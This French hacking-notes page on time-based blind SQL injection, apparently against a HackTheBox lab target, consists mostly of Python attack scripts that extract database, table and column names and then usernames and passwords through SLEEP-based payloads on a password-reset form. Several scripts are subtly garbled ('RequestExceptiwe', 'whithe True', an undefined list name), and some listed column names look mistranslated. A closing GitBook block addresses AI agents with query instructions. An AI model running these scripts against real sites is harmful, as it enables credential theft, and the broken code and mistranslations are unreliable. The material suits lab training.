> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# SQLi basée sur le temps

#### Automatisation de l'exploitation avec un script Python

Nous avons développé un script Python pour automatiser l'extraction de données via une injection SQL. Le script extrait le nom de la base de données, les noms des tables, les noms des colonnes et, enfin, des données sensibles telles que les noms d'utilisateur et les mots de passe.

### Base de données :

**Exemple de script pour extraire le nom de la base de données :**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Injection SQL basée sur le temps
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("Démarrage de l'attaque par injection SQL...")
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La requête a échoué : {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu'à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        # Si aucun caractère n'a été trouvé à cette position, nous arrêtons la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l'extraction.")
            break
    logger.info("Injection SQL terminée !")
    logger.info(f"Données finales extraites : {extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l'injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l'injection SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Nom de la base de données**: `monitorsthree_db`

<figure><img src="/files/082ac57d1520da1e369fae6cf3ed36ba21cbe0d6" alt=""><figcaption></figcaption></figure>

### **Bases de données :**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Injection SQL basée sur le temps
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraction du nom de la base de données à l'offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        for character in characters:
            # Formater la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La requête a échoué : {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu'à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        # Si aucun caractère n'a été trouvé à cette position, nous arrêtons la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l'extraction.")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # requête pour extraire les noms des bases de données
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("Aucune autre base de données trouvée.")
            break
        databases.append(database_name)
        logger.info(f"Base de données trouvée : {database_name}")
        offset += 1
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des bases de données : {databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l'injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l'injection SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/686bf7cda1150c40179a93a90d5953e660024b0f" alt=""><figcaption></figcaption></figure>

### **Tables :**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Injection SQL basée sur le temps
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraction du nom de la table à l'offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        for character in characters:
            # Formater la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La requête a échoué : {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu'à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        # Si aucun caractère n'a été trouvé à cette position, nous arrêtons la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l'extraction.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # requête pour extraire les noms des tables de la base de données `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("Aucune autre table trouvée.")
            break
        tables.append(table_name)
        logger.info(f"Table trouvée : {table_name}")
        offset += 1
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des tables dans monitorsthree_db : {tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l'injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l'injection SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Tables**: `invoices`, `customers`, `changelog`, `tâches`, `invoice_tasks`, `users`

<figure><img src="/files/8d16bea402f46d5dc3340d457bf53fd8e3b673d4" alt=""><figcaption></figcaption></figure>

### **Colonnes :**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Injection SQL basée sur le temps
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraction du nom de la colonne à l'offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        for character in characters:
            # Formater la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La requête a échoué : {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu'à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        # Si aucun caractère n'a été trouvé à cette position, nous arrêtons la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l'extraction.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # requête pour extraire les noms des colonnes de la table `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("Aucune autre colonne trouvée.")
            break
        columns.append(column_name)
        logger.info(f"Colonne trouvée : {column_name}")
        offset += 1
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des colonnes de la table 'users' : {columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps.")
    parser.add_argument("--url", required=True, help="URL cible pour l'injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l'injection SQL")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Colonnes de la table `users`**: `id`, `le nom d'utilisateur`, `email`, `mot de passe`, `paramètre name`, `position`, `dob`, `start_date`, `salary`

<figure><img src="/files/b46b6f06e8d81a27e38609ba6bab2c9a38d2ddb1" alt=""><figcaption></figcaption></figure>

### **Données extraites**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Injection SQL basée sur le temps
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Sortie.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extraction des données à l'offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indicateur pour vérifier si un caractère a été trouvé
        for character in characters:
            # Formater la requête SQL avec toutes les variables requises
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Test : {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"La requête a échoué : {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Données extraites jusqu'à présent : {extracted_data}")
                character_found = True  # Un caractère a été trouvé
                break
        # Si aucun caractère n'a été trouvé à cette position, nous arrêtons la boucle
        if not character_found:
            logger.info(f"Aucun caractère trouvé à la position {position}. Fin de l'extraction.")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # requête pour extraire les noms d'utilisateur
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # requête pour extraire les mots de passe
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("Aucun autre identifiant trouvé.")
            break
        credentials.append((username, password))
        logger.info(f"Identifiants trouvés : {username}:{password}")
        offset += 1
    logger.info("Injection SQL terminée !")
    logger.info(f"Liste des identifiants : {credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Effectuer une attaque par injection SQL basée sur le temps pour extraire des identifiants.")
    parser.add_argument("--url", required=True, help="URL cible pour l'injection SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Temps de délai pour l'injection SQL")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="/files/079ff0947375188a408ce837224dea53425b0446" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
